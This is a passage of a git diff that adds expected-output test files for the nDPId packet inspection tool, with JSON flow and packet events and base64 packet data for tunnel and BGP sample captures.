aHR0cC8xLjEAFwAAABgABgAKAwIBAP8BAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +02371{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"4in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1543235434,"pkt_ts_usec":19248,"pkt_caplen":1514,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1514,"pkt_l4_len":1412,"pkt":"AAECunaOAAAASfSHht1gAAAABYQEPTRKupQVKqw0AAAAAAAAACoi4BaF7ac4zFi98\/GqPyLYRQAFhEuhQABhBvQeCgoKAcCoAAEBu\/vHAwzKj9\/hP2NQEAQEHmIAABYDAxNZAgAAWgMDW5uXESPnDY6GVdXogmmrS1WdR7CnjiCJLtiMMET4LR0g70cAAGowHs5bbipHOvpkse5qjMhnnSOXdm6lLVoWT1DALwAAEgAQAAUAAwJoMgAXAAD\/AQABAAsAEccAEcQADAYwggwCMIIJ6qADAgECAhMtAAAymdcHHbfRcIpCAAAAADKZMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgNTAeFw0xNzA3MjAxNzQ3MDhaFw0xOTA3MTAxNzQ3MDhaMBcxFTATBgNVBAMTDHd3dy5iaW5nLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALqOyD7\/sOUit2AU5xoOUrdFD2wiCQmyCmP5nEBsh7fOLKKYjGNWUdfzumqBdw2Fpg1sIUPSI+b5pR9u\/gYNMtH4Aivx5J6CrFn4IFOhgzrs2GlVitrUoC9jheCrGis7gUH0hZglGqEjdJl5neUsrm31e5QyJwbyXnacl+k91de8FxrbBQKrwUcQ5sbzW8nMRIDSG0ss9ON1RYFCdc+JblurOUYfPO\/whJXqO0Ms01rklGWFKVeGj7qkJ52E0Xsw\/jJNpqe0+8AQstFZfXdWGOCgJxEIK7SzyvFbkO5VaXY9vaLDfkwWc1aVyhXCrQCMB8YD7ERtr9YuJ3qp+RBy1iMCAwEAAaOCB9AwggfMMB0GA1UdDgQWBBQJh+WFKXgwICWz3X7cbO2lKagDcDALBgNVHQ8EBAMCBLAwHwYDVR0jBBgwFoAUCP4ln3TqhwTCvLuOqDhfM8bRbGUwgawGA1UdHwSBpDCBoTCBnqCBm6CBmIZLaHR0cDovL21zY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JshklodHRwOi8vY3JsLm1pY3Jvc29mdC5jb20vcGtpL21zY29ycC9jcmwvTWljcm9zb2Z0JTIwSVQlMjBUTFMlMjBDQSUyMDUuY3JsMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjA1LmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdhNLfQoLnk3oCAWQCARAwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBME0GA1UdIARGMEQwQgYJKwYBBAGCNyoBMDUwMwYIKwYBBQUHAgEWJ2h0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NwczAnBgkrBgEEAYI3FQoEGjAYMAoGCCsGAQUFBwMCMAoGCCsGAQUFBwMBMIIFbQYDVR0RBIIFZDCCBWCCDHd3dy5iaW5nLmNvbYIQZGljdC5iaW5nLmNvbS5jboITKi5wbGF0Zm9ybS5iaW5nLmNvbYIKKi5iaW5nLmNvbYIIYmluZy5jb22CFmllb25saW5lLm1pY3Jvc28AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} diff --git a/test/results/6in4tunnel.pcap.out b/test/results/6in4tunnel.pcap.out new file mode 100644 index 000000000..d50cd99b5 --- /dev/null +++ b/test/results/6in4tunnel.pcap.out @@ -0,0 +1,16 @@ +00444{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"6in4tunnel.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1444236893450,"flow_last_seen":0,"flow_tot_l4_data_len":104,"flow_min_l4_data_len":104,"flow_max_l4_data_len":104,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"174.3.73.24","dst_ip":"184.105.255.26","l4_proto":41,"flow_datalink":1,"flow_max_packets":15} +00528{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236893,"pkt_ts_usec":450580,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8tYFAAP8pFzeuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAOC9XY8BWl1OFVYAAAAAqN0GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00527{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236893,"pkt_ts_usec":555356,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xlZAAPgpDWK4af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAN+9XY8BWl1OFVYAAAAAqN0GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00611{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236894,"pkt_ts_usec":230722,"pkt_caplen":200,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":200,"pkt_l4_len":166,"pkt":"ACKQ3jvZAAAkzoE0CABFAAC6tdFAAP8pFqmuA0kYuGn\/GmAAAAAAfjpAIAEEcB8WAT8AAAAAAAAAAiYEqIAAAQAgAAAAAAIksAEBA9KAAAAAAGAAAAAATgY2JgSogAABACAAAAAAAiSwASABBHAfFwE\/JaMykhb5LOAD4exLUvt9fRlwFpiAGABJEPkAAAEBCAq0MT0ACHX6xhcDAwApoxPniAjxmmXGKxqxVV6nOvla9FPS7Dtl2rRDlmVhpOKK9OFyB\/XihP8="} +00528{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236894,"pkt_ts_usec":451785,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8te1AAP8pFsuuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAB64XY8BW15OFVYAAAAAaeIGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00527{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236894,"pkt_ts_usec":555813,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xldAAPgpDWG4af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAB24XY8BW15OFVYAAAAAaeIGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00528{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236895,"pkt_ts_usec":453529,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8tjRAAP8pFoSuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAFWwXY8BXF9OFVYAAAAAMekGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00527{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236895,"pkt_ts_usec":556959,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xlhAAPgpDWC4af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAFSwXY8BXF9OFVYAAAAAMekGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00528{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236896,"pkt_ts_usec":455241,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8trRAAP8pFgSuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAJKoXY8BXWBOFVYAAAAA8+8GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00527{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236896,"pkt_ts_usec":562079,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xllAAPgpDV+4af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAJGoXY8BXWBOFVYAAAAA8+8GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00530{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236897,"pkt_ts_usec":456293,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8t0NAAP8pFXWuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAJSjXY8BXmFOFVYAAAAA8PMGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00529{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236897,"pkt_ts_usec":562850,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xlpAAPgpDV64af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAJOjXY8BXmFOFVYAAAAA8PMGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00530{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236898,"pkt_ts_usec":457357,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8t7hAAP8pFQCuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAG2eXY8BX2JOFVYAAAAAFvgGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00529{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236898,"pkt_ts_usec":563922,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xltAAPgpDV24af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAGyeXY8BX2JOFVYAAAAAFvgGAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00530{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236899,"pkt_ts_usec":458727,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"ACKQ3jvZAAAkzoE0CABFAAB8uBRAAP8pFKSuA0kYuGn\/GmAAAAAAQDo\/IAEEcB8XAT8+lw7\/\/nNN7CYEqIAAAQAgAAAAAAIksAGAAO2XXY8BYGNOFVYAAAAAlf0GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} +00529{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"6in4tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444236899,"pkt_ts_usec":563862,"pkt_caplen":138,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":138,"pkt_l4_len":104,"pkt":"AAAkzoE0ACKQ3jvZCABFAAB8xlxAAPgpDVy4af8argNJGGAAAAAAQDo3JgSogAABACAAAAAAAiSwASABBHAfFwE\/PpcO\/\/5zTeyBAOyXXY8BYGNOFVYAAAAAlf0GAAAAAAAQERITFBUWFxgZGhscHR4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3"} diff --git a/test/results/6in6tunnel.pcap.out b/test/results/6in6tunnel.pcap.out new file mode 100644 index 000000000..c57dd8c3f --- /dev/null +++ b/test/results/6in6tunnel.pcap.out @@ -0,0 +1,4 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"6in6tunnel.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1335197872162,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip6","src_ip":"2001:4f8:4:7:2e0:81ff:fe52:ffff","dst_ip":"2001:4f8:4:7:2e0:81ff:fe52:9a6b","l4_proto":41,"flow_datalink":1,"flow_max_packets":15} +00497{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"6in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1335197872,"pkt_ts_usec":162188,"pkt_caplen":106,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":106,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAAht1gAAAAADQpQCABBPgABAAHAuCB\/\/5S\/\/8gAQT4AAQABwLggf\/+UpprYAAAAAAMEUDerQAAAAAAAAAAAAAAAL7vyv4AAAAAAAAAAAAAAAC6vnUwMsgADIPSWFhYWA=="} +00435{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"6in6tunnel.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1335197872164,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip6","src_ip":"feed::beef","dst_ip":"feed::cafe","l4_proto":41,"flow_datalink":1,"flow_max_packets":15} +00493{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"6in6tunnel.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1335197872,"pkt_ts_usec":164220,"pkt_caplen":106,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":106,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAAht1gAAAAADQpQP7tAAAAAAAAAAAAAAAAvu\/+7QAAAAAAAAAAAAAAAMr+YAAAAAAMEUDerQAAAAAAAAAAAAAAAL7vyv4AAAAAAAAAAAAAAAC6vnUwMsgADIHQWVlZWQ=="} diff --git a/test/results/BGP_Cisco_hdlc_slarp.pcap.out b/test/results/BGP_Cisco_hdlc_slarp.pcap.out new file mode 100644 index 000000000..1c7415cd5 --- /dev/null +++ b/test/results/BGP_Cisco_hdlc_slarp.pcap.out @@ -0,0 +1,28 @@ +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":131847,"pkt_caplen":48,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":48,"pkt_l4_len":0,"pkt":"DwAIAEXAACz4kkAAAQa2VmQQAQJkEAEBR5QAs7zqddEAAAAAYAJAABMAAAACBAW0"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00370{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":145123,"pkt_caplen":48,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":48,"pkt_l4_len":0,"pkt":"DwAIAEXAACyvfwAAAQY\/amQQAQFkEAECALNHlBlZ03+86nXSYBJAACYWAAACBAW0"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00365{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":152068,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"DwAIAEXAACj4k0AAAQa2WWQQAQJkEAEBR5QAs7zqddIZWdOAUBBAAD3TAAA="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":3,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":152099,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"DwAIAEXAAGH4lEAAAQa2H2QQAQJkEAEBR5QAs7zqddIZWdOAUBhAAOt1AAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ADkBBAABALQLCwsLHAIGAQQAAQABAgKAAAICAgACAkYAAgZBBAAAAAE="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":4,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":5,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":165354,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"DwAIAEXAACivgAAAAQY\/bWQQAQFkEAECALNHlBlZ04C86nYLUBA\/xz3TAAA="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":5,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00467{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":165405,"pkt_caplen":101,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":101,"pkt_l4_len":0,"pkt":"DwAIAEXAAGGvgUAAAQb\/MmQQAQFkEAECALNHlBlZ04C86nYLUBg\/xyizAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ADkBBPwAALRubm5uHAIGAQQAAQABAgKAAAICAgACAkYAAgZBBAAA\/AA="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":6,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00412{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":165414,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"DwAIAEXAADuvgkAAAQb\/V2QQAQFkEAECALNHlBlZ07m86nYLUBg\/xzlsAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ABME"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":7,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00366{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":172242,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"DwAIAEXAACj4lUAAAQa2V2QQAQJkEAEBR5QAs7zqdgsZWdPMUBA\/tD2aAAA="} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":8,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00411{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":9,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":172264,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"DwAIAEXAADv4lkAAAQa2Q2QQAQJkEAEBR5QAs7zqdgsZWdPMUBg\/tDlsAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ABME"} +00171{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":9,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":10,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":185546,"pkt_caplen":67,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":67,"pkt_l4_len":0,"pkt":"DwAIAEXAAD+vg0AAAQb\/UmQQAQFkEAECALNHlBlZ08y86nYeUBg\/tDZQAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ABcFAAEBAQ=="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":10,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00654{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":11,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":195655,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"DwAIAEXAAL+vhEAAAQb+0WQQAQFkEAECALNHlBlZ0+O86nYeUBg\/tOd1AAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ADkCAAAAGEABAQJAAgoCAgAA\/AAAAAABQAMEZBABAR5kEAEIHmQQAQz\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ADACAAAAGEABAQBAAgoCAgAA\/AAAAAABQAMEZBABAQD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ABcFAAECAf\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/8AFwIAAAAA"} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":11,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00367{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":12,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156939,"pkt_ts_usec":202563,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"DwAIAEXAACj4l0AAAQa2VWQQAQJkEAEBR5QAs7zqdh4ZWdR6UBA\/Bj2HAAA="} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":12,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","datalink":9} +00413{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":13,"source":"BGP_Cisco_hdlc_slarp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1445156988,"pkt_ts_usec":877283,"pkt_caplen":63,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":63,"pkt_l4_len":0,"pkt":"DwAIAEXAADuvhUAAAQb\/VGQQAQFkEAECALNHlBlZ1Hq86nYeUBg\/tDirAAD\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ABME"} +00172{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 